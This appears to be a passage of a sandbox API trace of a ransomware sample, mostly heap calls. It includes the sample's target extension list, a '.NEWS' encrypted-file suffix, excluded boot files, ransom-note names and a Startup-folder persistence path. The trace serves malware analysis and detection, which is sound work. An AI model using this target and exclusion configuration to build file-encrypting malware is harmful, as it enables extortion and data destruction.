Flags=0x0, Size=0xa) returned 0x477880 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477a78 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4779b8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463cd8 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477970 [0155.369] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477a90 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477988 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4779a0 [0155.370] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4383c8, Size=0x200) returned 0x477f98 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4779d0 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463c78 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4779e8 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477c10 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477ca0 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477b38 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477c58 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477b50 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477b08 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477af0 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477b20 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477bf8 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477be0 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477b68 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477c70 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477bb0 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477b98 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477c28 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477b80 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477d90 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477bc8 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477c40 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477c88 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463ca8 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477d30 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477cb8 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477d18 [0155.370] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463d08 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477d78 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477cd0 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477ce8 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477d00 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477d48 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477ad8 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477d60 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477da8 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477ac0 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477dd8 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477df0 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477e08 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477ec8 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477e20 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477e80 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477ef8 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477e98 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477e38 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477e50 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477e68 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477ee0 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463be8 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x6) returned 0x463c08 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477eb0 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477f10 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477f70 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477f28 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477f40 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x477f58 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x477dc0 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478590 [0155.371] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478638 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478650 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4785d8 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4786e0 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4785f0 [0155.372] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x477f98, Size=0x400) returned 0x4789a8 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478608 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478728 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478668 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4786b0 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478770 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478620 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4787a0 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478788 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4785c0 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478680 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463c98 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478518 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4784e8 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4786c8 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4787b8 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4785a8 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478500 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x478548 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478710 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4784d0 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478740 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4786f8 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478530 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478560 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478698 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478758 [0155.372] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463ce8 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478578 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478890 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478830 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478878 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478908 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4788a8 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478818 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4788c0 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4788d8 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x4787d0 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478968 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x478980 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478848 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478920 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4787e8 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4788f0 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478938 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478800 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478950 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478860 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478338 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4784b8 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4783c8 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478398 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478308 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478260 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478200 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478380 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4783f8 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4781d0 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478440 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478458 [0155.373] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4782a8 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478470 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478350 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x10) returned 0x478248 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x12) returned 0x434ae0 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478488 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4782f0 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4782c0 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4783b0 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478320 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4784a0 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478278 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478218 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4782d8 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478410 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478230 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478290 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4781e8 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4783e0 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478368 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478428 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x479068 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x479080 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478f18 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x479020 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x479098 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478e58 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478de0 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xe) returned 0x478f48 [0155.374] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478f60 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463d68 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478e70 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463c28 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478f00 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478f30 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478f78 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478e10 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x4790c8 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x479038 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478e88 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x4790b0 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x479050 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478df8 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478e28 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478f90 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xc) returned 0x478ff0 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478e40 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x8) returned 0x463d28 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478fa8 [0155.375] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xa) returned 0x478eb8 [0155.375] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4789a8, Size=0x800) returned 0x4795b8 [0155.376] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0155.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x476788 | out: hHeap=0x420000) returned 1 [0155.376] lstrlenW (lpString="") returned 0 [0155.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a0a8 | out: hHeap=0x420000) returned 1 [0155.376] lstrlenW (lpString=".NEWS") returned 5 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463cb8, Size=0x8) returned 0x463ab8 [0155.376] lstrlenW (lpString=".NEWS") returned 5 [0155.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47a000 | out: hHeap=0x420000) returned 1 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a000, Size=0x20) returned 0x45eef0 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eef0, Size=0x40) returned 0x43d5a8 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d5a8, Size=0x80) returned 0x477690 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463cb8, Size=0x8) returned 0x463a68 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463a68, Size=0x10) returned 0x479e08 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x479e08, Size=0x20) returned 0x45f080 [0155.376] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0155.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x477690 | out: hHeap=0x420000) returned 1 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a048, Size=0x20) returned 0x45edb0 [0155.376] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45edb0, Size=0x40) returned 0x43d560 [0155.376] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0155.376] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0155.376] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d560 | out: hHeap=0x420000) returned 1 [0155.377] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a048, Size=0x20) returned 0x45f260 [0155.377] lstrlenW (lpString="Info.hta") returned 8 [0155.377] lstrlenW (lpString="Info.hta") returned 8 [0155.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f260 | out: hHeap=0x420000) returned 1 [0155.377] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x497780, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0x77 [0155.377] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497780 | out: hHeap=0x420000) returned 1 [0155.377] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0155.377] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45f080, Size=0x40) returned 0x43d7e8 [0155.377] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a0d8, Size=0x20) returned 0x45f058 [0155.377] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a048, Size=0x20) returned 0x45eef0 [0155.377] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45eef0, Size=0x40) returned 0x43d908 [0155.377] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43d908, Size=0x80) returned 0x476f20 [0155.377] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x476f20, Size=0x100) returned 0x4b8100 [0155.378] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0155.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4b8100 | out: hHeap=0x420000) returned 1 [0155.378] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x497780, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0155.378] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4a7788 | out: hHeap=0x420000) returned 1 [0155.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x497780 | out: hHeap=0x420000) returned 1 [0155.379] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463b18, Size=0x8) returned 0x463b58 [0155.379] lstrlenW (lpString="%windir%;") returned 9 [0155.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45f058 | out: hHeap=0x420000) returned 1 [0155.379] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0155.379] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x487778 | out: hHeap=0x420000) returned 1 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a090, Size=0x20) returned 0x45ef40 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x45ef40, Size=0x40) returned 0x43dcb0 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x43dcb0, Size=0x80) returned 0x477580 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x477580, Size=0x100) returned 0x4b7bd8 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463b78, Size=0x8) returned 0x4639d8 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4639d8, Size=0x10) returned 0x479df0 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x479df0, Size=0x20) returned 0x45f120 [0155.380] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463a48, Size=0x8) returned 0x463aa8 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4639e8, Size=0x8) returned 0x463a48 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463a88, Size=0x8) returned 0x463a78 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463a78, Size=0x10) returned 0x47a240 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a240, Size=0x20) returned 0x45f030 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463aa8, Size=0x10) returned 0x47a0f0 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463a48, Size=0x10) returned 0x47a390 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x463b08, Size=0x8) returned 0x463a68 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x4639e8, Size=0x8) returned 0x463aa8 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a0f0, Size=0x20) returned 0x45f260 [0155.381] RtlReAllocateHeap (Heap=0x420000, Flags=0x0, Ptr=0x47a390, 